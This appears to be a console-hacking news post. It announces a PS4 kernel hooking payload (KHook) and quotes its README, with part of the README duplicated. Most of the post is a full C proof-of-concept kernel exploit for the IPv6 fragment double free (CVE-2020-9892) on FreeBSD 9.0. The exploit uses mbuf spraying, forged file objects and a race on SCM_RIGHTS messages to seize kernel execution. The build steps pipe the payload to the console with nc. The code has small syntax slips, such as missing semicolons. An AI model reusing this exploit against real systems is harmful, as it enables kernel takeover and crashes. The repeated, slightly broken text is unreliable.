Since his MUSL PS4 Port Low-Level Details and proceeding the recent ipv6-df-3.c proof-of-concept (PoC), today PlayStation 4 Scene developer @SpecterDev shared via Twitter PS4 KHook which is a minimalist kernel hooking payload he wrote for the DayZeroSec Twitch Stream that's handy for exploit debugging!
Download: PS4-KHook-master.zip / GIT
Here's further details from the README.md, to quote: PS4 KHook
PS4 KHook is a minimalist kernel hooking payload. It targets 5.05 but it can be used with any firmware (or even non-PS4 systems) with modifications. It's primary intent is for exploit development / debugging though it can be used anywhere hooking is needed (though Mira is recommended for long-term hooks for things like homebrew). It doesn't require a daemon to run for state tracking as it uses a code cave and a dispatch table.
Warning: the implementation is pretty hacky and it's not yet complete. Feel free to fork and pull request any improvements or TODO items.
Building and running
To build this payload you'll need the PS4 Payload *** from Scene Collective. Once installed, simply build this payload like so:
Important caveats
This hooking payload does have some caveats you need to be aware of before writing and installing hooks.
Hooks should be defined in hooks.c with prototypes in hooks.h. These files already have two example hooks I wrote for debugging stuff with the IP6_EXTHDR_CHECK UAF from theflow. Use the following template for hook functions:
For installing hooks, reference main.c. Here's an example for installing my_hook on the sys_dynlib_prepare_dlclose syscall with hook ID 1:
The argument that will require some manual work to figure out and ensure you set properly is the trampoline size, since it cannot be automatically calculated, it's dependent on where you hook. This is because x86 has variable sized instructions, so if your trampoline size is incorrect, a crash will occur due to executing invalid instructions (or valid instructions that have unintended behavior).
Again, keep in mind it has to be at least 0xA size and possibly larger depending on the instructions at the hook location.
TODO
Specter (Cryptogenic) - SpecterDev
This project is licensed under the WTFPL license - see the LICENSE.md file for details.
Thanks
Download: PS4-KHook-master.zip / GIT
Here's further details from the README.md, to quote: PS4 KHook
PS4 KHook is a minimalist kernel hooking payload. It targets 5.05 but it can be used with any firmware (or even non-PS4 systems) with modifications. It's primary intent is for exploit development / debugging though it can be used anywhere hooking is needed (though Mira is recommended for long-term hooks for things like homebrew). It doesn't require a daemon to run for state tracking as it uses a code cave and a dispatch table.
Warning: the implementation is pretty hacky and it's not yet complete. Feel free to fork and pull request any improvements or TODO items.
Building and running
To build this payload you'll need the PS4 Payload *** from Scene Collective. Once installed, simply build this payload like so:
Code:
$ make clean
$ make
$ cat PS4-KHook.bin | nc [ps4ip:payloadport]
This hooking payload does have some caveats you need to be aware of before writing and installing hooks.
- Hooks must only have one return path, and it must return 0x1337. Additionally, the payload must be compiled without optimization (-O0). The reason for this is due to the runtime function size calculation for the hooks.
- Trampolines must be a minimum size of 10 bytes (0xA bytes).
- Trampolines cannot contain any instructions that use RIP-relative addressing (including calls, jumps, or RIP-relative data reads/writes).
- Kernel offsets and the code cave are for 5.05 firmware. To use this on other firmwares you'll need to port these offsets.
Hooks should be defined in hooks.c with prototypes in hooks.h. These files already have two example hooks I wrote for debugging stuff with the IP6_EXTHDR_CHECK UAF from theflow. Use the following template for hook functions:
Code:
int my_hook()
{
SAVE_REGISTERS;
// [hook code]
RESTORE_REGISTERS;
return 0x1337;
}
Code:
#define HOOK_DYNLIB_PREPARE_DLCLOSE 0x239380
// ...
char *kexecArgsBuffer = mmap(KEXEC_ARGS_BUFFER, 0x4000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if(kexecArgsBuffer != KEXEC_ARGS_BUFFER)
return -1;
struct install_hook_args *installHookArgs = (struct install_hook_args *)kexecArgsBuffer;
installHookArgs->id = 1;
installHookArgs->targetOffset = (uint64_t *)HOOK_DYNLIB_PREPARE_DLCLOSE;
installHookArgs->trampolineSize = 0xA;
installHookArgs->hookFunctionAddr = (uint64_t *)&my_hook;
installHookArgs->hookFunctionSize = get_function_size((uint8_t *)&my_hook);
Again, keep in mind it has to be at least 0xA size and possibly larger depending on the instructions at the hook location.
TODO
- Rework dispatch table to allow for a smaller code cave by pivoting to a heap-allocated dispatch table
- Fix up RIP-relative instructions to allow them inside trampolines
- Possibly do more robust function size calculation (size directives?)
Specter (Cryptogenic) - SpecterDev
This project is licensed under the WTFPL license - see the LICENSE.md file for details.
Thanks
Code:
/*
* IP6_EXTHDR_CHECK Double Free (CVE-2020-9892) Exploit PoC for FreeBSD 9.0
* -
* Bug credit: Andy Nguyen (@theflow0)
* Exploit credit: @SpecterDev, @tihmstar
* Thanks: @sleirsgoevy, @littlelailo, flatz (@flat_z), @balika011
* -
* Stability: 30-40% w/ 2 CPUs and 2GB RAM. Could likely be improved by tweaking timings and spray
* packet sizes, but since these circumstances are very specific to the system state and the end-goal
* is a PS4 port, I didn't go too crazy trying to optimize it, this is mainly a reference.
* -
* This file contains implementation for a FreeBSD/XNU/iOS kernel bug in the IPv6 subsystem. This
* POC will achieve code execution in ring0 / supervisor mode and set the instruction pointer to
* 0x41414141 to intentionally crash the kernel to demonstrate RIP control.
*
* A brief overview of the exploit strategy...
*
* The bug allows us to get a double free in the mbuf UMA zone in the kernel. We abuse this to
* acquire two references to the same mbuf via a tagged UDP packet spray. We then free one of the
* references to get it acquired by an SCM_RIGHTS control message on a local AF_UNIX socket. Since
* we still have the reference on our other tagged UDP packet, we free it to cause UAF, and interleave
* corruption to corrupt the stack of file pointers in the control message mid-processing to get
* crafted, userland-controlled file pointers stored in the process FD table.
*
* Now we have one or more file descriptors with attacker-controlled file pointers which contain a
* malicious file ops table with the ioctl function pointer pointing to 0x41414141. We simply call
* ioctl() on each fd we receive until we trigger code exec. If we fail, it means we lost the race
* and retry. If we can't reclaim the overlap, it's a fatal issue and a reboot will be needed since
* cleanup is irrepairably broken due to tainted state of the sockets, and process exit will crash the
* kernel.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
// Takes a data buffer and zeroes it, then initializes the 4 byte routing header with the size and
// next header type given.
void build_routing_header(char *buf, uint64_t sz, uint8_t next_header)
{
// Leave routing data null
memset(buf, 0, sz);
// Routing header
buf[0x0] = next_header;
buf[0x1] = (sz / 8) - 1; // Length is in units of octets not bytes
buf[0x2] = 0;
buf[0x3] = 0;
}
// Builds a raw packet consisting of a hop-by-hop header, fragment header, and auxiliary data with the info
// given, then sends it to the given fd on the loopback address (::1).
uint64_t send_fragment(int fd, char *data, uint64_t off, uint64_t sz, uint8_t final, uint32_t id, uint8_t next_header)
{
uint64_t i;
uint8_t packetData[0x200];
// Hop-by-hop headers
packetData[0x0] = IPPROTO_FRAGMENT;
packetData[0x1] = 0;
packetData[0x2] = IP6OPT_PADN;
packetData[0x3] = 4;
*(uint32_t *)(packetData + 4) = 0x41414141;
// Fragment header
size_t mid = off + !final;
packetData[0x8] = next_header;
packetData[0x9] = 0;
packetData[0xA] = mid / 256;
packetData[0xB] = mid % 256;
*(uint32_t *)(packetData + 0xC) = id;
// Auxiliary data
uint64_t dataOffset = 0x10;
for(i = 0; i < sz; i++)
{
packetData[dataOffset + i] = data[i];
}
// Send on loopback
struct sockaddr_in6 sin6 = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0x1337,
};
sin6.sin6_addr.s6_addr[15] = 1;
// Fire into the kernel
return sendto(fd, packetData, dataOffset + sz, 0, (struct sockaddr *)&sin6, sizeof(sin6));
}
// Sends a packet on a socket to get an mbuf allocated.
int push_mbuf(int sock, char *in_data, uint64_t sz)
{
return sendto(sock, in_data, sz, 0, 0, 0);
}
// Sends a packet on a socket to get an mbuf allocated.
int push_mbuf2(int sock, char *in_data, uint64_t sz)
{
return sendto(sock, in_data, sz, MSG_DONTWAIT, 0, 0);
}
// Receives a packet on the socket to get an mbuf free'd.
int pop_mbuf(int sock, char *out_data, uint64_t sz)
{
return recvfrom(sock, out_data, sz, MSG_DONTWAIT, 0, 0);
}
// Gets a packet's data on the socket without removing it from the queue / free'ing it.
int peek_mbuf(int sock, char *out_data, uint64_t sz)
{
return recvfrom(sock, out_data, sz, MSG_DONTWAIT | MSG_PEEK, 0, 0);
}
// Creates an IPV4 UDP socket and binds + connects it to the loopback interface, returning
// the newly connected socket descriptor.
int create_udp_loopback_sock()
{
// Initialize a UDP IPv4 socket
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_addr = {0x100007f},
.sin_port = 0,
};
// Bind it to loopback interface and connect to it
uint64_t socklen = sizeof(struct sockaddr_in);
bind(s, (struct sockaddr *)&sin, socklen);
getsockname(s, (struct sockaddr *)&sin, (socklen_t *)&socklen);
connect(s, (struct sockaddr *)&sin, socklen);
return s;
}
// Writes a stack of file descriptors to the given fd. Borrowed from sleirsgoevy's poc since we know it works.
ssize_t
write_fd(int fd, void *ptr, size_t nbytes, int* sendfd)
{
int i;
struct msghdr msg;
struct iovec iov[1];
union {
struct cmsghdr cm;
char control[CMSG_SPACE(253*sizeof(int))];
} control_un;
struct cmsghdr *cmptr;
msg.msg_control = control_un.control;
msg.msg_controllen = sizeof(control_un.control);
cmptr = CMSG_FIRSTHDR(&msg);
cmptr->cmsg_len = CMSG_LEN(253*sizeof(int));
cmptr->cmsg_level = SOL_SOCKET;
cmptr->cmsg_type = SCM_RIGHTS;
for(i = 0; i < 253; i++)
((int *) CMSG_DATA(cmptr))[i] = sendfd[i];
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = ptr;
iov[0].iov_len = nbytes;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
return(sendmsg(fd, &msg, 0));
}
// Reads a stack of file descriptors from the given fd. Borrowed from sleirsgoevy's poc since we know it works.
ssize_t
read_fd(int fd, void *ptr, size_t nbytes, int *recvfd)
{
struct msghdr msg;
struct iovec iov[1];
ssize_t n;
int newfd;
int i;
union {
struct cmsghdr cm;
char control[CMSG_SPACE(253*sizeof(int))];
} control_un;
struct cmsghdr *cmptr;
msg.msg_control = control_un.control;
msg.msg_controllen = CMSG_SPACE(253*sizeof(int));
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = ptr;
iov[0].iov_len = nbytes;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
if ( (n = recvmsg(fd, &msg, 0)) < 0)
return(n);
if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL &&
cmptr->cmsg_len == CMSG_LEN(253*sizeof(int))) {
for(i = 0; i < 253; i++)
recvfd[i] = ((int *) CMSG_DATA(cmptr))[i];
} else {
for(i = 0; i < 64; i++)
printf("%08x\n", ((int*)CMSG_DATA(cmptr))[i]);
*recvfd = -1;
}
return(n);
}
#define PACKET_ONE_SZ 0x60 // Size of first packet fragment
#define PACKET_TWO_SZ 0x20 // Size of second packet fragment
#define SPRAY_SOCKET_NUM 0x100 // Number of times for most sprays
#define SPRAY_PACKET_PTRS 0xA0 // Number of file pointers to fake in overlap packet
volatile int start_thread = 0;
// Raw IPV6 socket for triggering the bug
int raw_sock;
// UDP spray sockets and TCP socketpairs for SCM_RIGHTS messages to overwrite
int udp_socks[SPRAY_SOCKET_NUM];
int tcp_sockpairs[SPRAY_SOCKET_NUM * 2];
// Scratch / trash buffer primarily for popping messages out of the queue
int popbuf[37];
// Overlap trackers so we know which sockets share an mbuf
int overlap_one = -1;
int overlap_two = -1;
// Structure to spray into UAF'd mbuf to smash file pointers
// -
// We need 4 bytes to align from 0xC to 0x10 since the file pointers are on 8-byte boundaries.
// We can use this padding for tags for the respray. We have to pack the struct because if we
// don't the compiler will insert padding after the tag which will mess with our UAF alignment.
struct overlap
{
int pad1;
uint64_t pointers[SPRAY_PACKET_PTRS];
} __attribute__((packed));
// Spray packet data
struct overlap *spray_packet;
// File ops struct from the kernel that we need to fake for code execution
struct fileops {
void *fo_read;
void *fo_write;
void *fo_truncate;
void *fo_ioctl; // <-- RIP hijack fptr
void *fo_poll;
void *fo_kqfilter;
void *fo_stat;
void *fo_close;
void *fo_chmod;
void *fo_chown;
int fo_flags;
};
// File struct from the kernel we need to fake. Fields without comments are irrelevant and
// are not faked.
struct file {
void *f_data;
struct fileops *f_ops; // Important - fake for code execution
void *f_cred;
void *f_vnode;
short f_type; // Needs fake for ioctl() usage (socket type)
short f_vnread_flags;
volatile u_int f_flag; // Needs fake for ioctl() usage (RW flags)
volatile u_int f_count; // Needs fake for refcounting check
int f_seqcount;
off_t f_nextoff;
void *f_cdevpriv;
off_t f_offset;
void *f_label;
};
void *corrupt_file_pointers(void *vargp)
{
int i = 0;
printf("THREAD 2 STARTED!!!!\n");
while(start_thread == 0)
{
}
// Free the mbuf to UAF the SCM_RIGHTS control message
pop_mbuf(udp_socks[overlap_two], popbuf, sizeof(popbuf));
// Smash file pointer stack with our own
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
push_mbuf2(udp_socks[i], (char *)spray_packet, sizeof(struct overlap));
}
}
int main()
{
int i;
char newbuf[0x1000];
int fds[256];
pthread_t threadid;
///////////////////////////////////////////////////////////////
// Stage 0 - Setup
///////////////////////////////////////////////////////////////
// Setup our spray
spray_packet = malloc(sizeof(struct overlap));
// Setup our fake file object
struct file *fakeFile = malloc(sizeof(struct file));
struct fileops *fops = malloc(sizeof(struct fileops));
memset(fakeFile, 0, sizeof(struct file));
memset(fops, 0, sizeof(struct fileops));
fakeFile->f_ops = fops;
fops->fo_ioctl = 0x41414141; // RIP = 0x41414141 for POC
fakeFile->f_type = 2; // DTYPE_SOCKET
fakeFile->f_flag = 1 | 2; // FREAD | FWRITE
fakeFile->f_count = 1337; // Reference count, just some high # so it never gets released
printf("fakeFile = %p\n", fakeFile);
// Pre-emptively setup spray packet
spray_packet->pad1 = 0;
for(i = 0; i < SPRAY_PACKET_PTRS; i++)
spray_packet->pointers[i] = (uint64_t)(fakeFile);
// Setup thread 2
pthread_create(&threadid, NULL, corrupt_file_pointers, NULL);
// Used for debugging (by checking this fixed address from kernel we can target debug logs)
char *dbgmapping = mmap((void*)0xbeef0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
printf("dbgmapping mapped %p\n", dbgmapping);
// Setup file descriptors to pass
for(i = 0; i < 256; i++)
fds[255-i] = open("/etc/passwd", O_RDONLY);
for(i = 253; i < 256; i++)
close(fds[i]);
for(i = 0; i < 32; i++)
printf("i = %d | fd = %d\n", i, fds[i]);
memset((char *)newbuf, 0xFF, 1024);
// Create raw socket
raw_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
// Create spray UDP sockets
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
udp_socks[i] = create_udp_loopback_sock();
// Create TCP socketpairs
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
socketpair(AF_UNIX, SOCK_STREAM, 0, tcp_sockpairs + 2 * i);
// Build up double free packet
char doubleFreePacket[PACKET_ONE_SZ + PACKET_TWO_SZ];
build_routing_header((char *)(doubleFreePacket + 0x00), PACKET_ONE_SZ, IPPROTO_ROUTING);
build_routing_header((char *)(doubleFreePacket + PACKET_ONE_SZ), PACKET_TWO_SZ, IPPROTO_ROUTING);
///////////////////////////////////////////////////////////////
// Stage 1 - Double free & reclaim on UDP pair
///////////////////////////////////////////////////////////////
printf("[+] Double freeing mbuf and reclaiming with tagged packets\n");
// Trigger double free
send_fragment(raw_sock,
doubleFreePacket,
0,
PACKET_ONE_SZ,
0,
0x60606060,
IPPROTO_ROUTING
);
send_fragment(raw_sock,
doubleFreePacket,
PACKET_ONE_SZ,
sizeof(doubleFreePacket) - PACKET_ONE_SZ,
1,
0x60606060,
IPPROTO_ROUTING
);
// 1 second
struct timespec one_sec = {
.tv_sec = 1,
.tv_nsec = 0
};
// 10 milliseconds
struct timespec ten_millisecs = {
.tv_sec = 0,
.tv_nsec = 10000000
}
// Sleep to allow time for the double free to occur
nanosleep(&one_sec, 0);
// Spray tagged packets on UDP sockets to get an overlap pair
int tag_packet[49];
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
tag_packet[0] = i;
push_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(tag_packet));
// Don't send too quickly
nanosleep(&ten_millisecs, 0)
}
// Sleep to allow time for all packets to be sprayed
nanosleep(&one_sec, 0);
// Search for the overlap by peeking each socket and looking for corruption.
// -
// The first corrupted packet should contain the index of the packet that overlapped with it.
printf("[+] Searching for overlap pair\n");
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
peek_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(int));
if(tag_packet[0] != i)
{
overlap_one = i;
overlap_two = tag_packet[0];
}
}
// If we failed to overlap, we failed to capture the pointers from the double free, needs re-run.
if(overlap_one <= 0 || overlap_two <= 0)
{
printf("[!] Overlap failed!\n");
return -1;
}
// Yay we found an overlap pair!
printf("[+] Found overlap pair: %d -> %d\n", overlap_one, overlap_two);
///////////////////////////////////////////////////////////////
// Stage 2 - Trigger overlap on TCP socketpair
///////////////////////////////////////////////////////////////
char bigcluster[2048] = {0};
int outfds[253];
dbgmapping[0] = 'X';
for(i = 0; i < 49; i++)
tag_packet[i] = 0x41414141;
// 5 seconds
struct timespec five_secs = {
.tv_sec = 5,
.tv_nsec = 0
};
// 200 milliseconds
struct timespec twohundred_millisecs = {
.tv_sec = 0,
.tv_nsec = 200000000
};
nanosleep(&twohundred_millisecs, 0);
printf("[+] free 1\n");
// Free the mbuf to overlap udp_socks[overlap_two] with SCM_RIGHTS control message
pop_mbuf(udp_socks[overlap_one], popbuf, sizeof(popbuf));
// We need to know what socketpair has the overlap
int overlap_pair = -1;
// Spray SCM_RIGHTS messages into the overlap
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
write_fd(tcp_sockpairs[2*i], dbgmapping, 1, fds);
// Side-channel the overlapped UDP packet to determine what index we overlapped
peek_mbuf(udp_socks[overlap_two], (char *)&tag_packet, sizeof(int));
printf("sockpair = %d, peek = %lx\n", (2*i), tag_packet[0]);
// The first packet that doesn't have a first dword of zero is the socketpair we overlapped
if(tag_packet[0] != 0 && overlap_pair == -1)
overlap_pair = 2*i;
}
// We now have an SCM_RIGHTS message overlapped with a UDP socket mbuf to cause controlled UAF
printf("[+] Socketpair %d -> %d has corruptable mbuf\n", overlap_pair, overlap_pair+1);
// Calm before the storm...
nanosleep(&five_secs, 0);
///////////////////////////////////////////////////////////////
// Stage 3 - RACE
///////////////////////////////////////////////////////////////
int rrv;
// Kickstart thread 2 to begin UAF
start_thread = 1;
for(i = 0; i < 600; i++)
{
// do nothing, delay for race stability
}
// Start the read on the SCM_RIGHTS message we can smash with the other thread
rrv = read_fd(tcp_sockpairs[overlap_pair+1], dbgmapping, 1, outfds);
for(i = 0; i < 253; i++)
printf("outfds i = %d | fd = %d\n", i, outfds[i]);
// Hopefully we smashed it and have a fake file pointer created, attempt ioctl() on it to
// trigger RIP = 0x41414141 crash!
for(i = 0; i < 253; i++)
{
errno = 0;
rrv = ioctl(outfds[i], 0x81200000);
printf("ioctl rv = %d | err = %s\n", rrv, strerror(errno));
}
// If we reached here, we failed to smash it and lost the race
printf("Reached the end, rrv = %d\n", rrv);
// Never return, if we return and we failed, we die immediately because cleanup is borked
for(;;);
}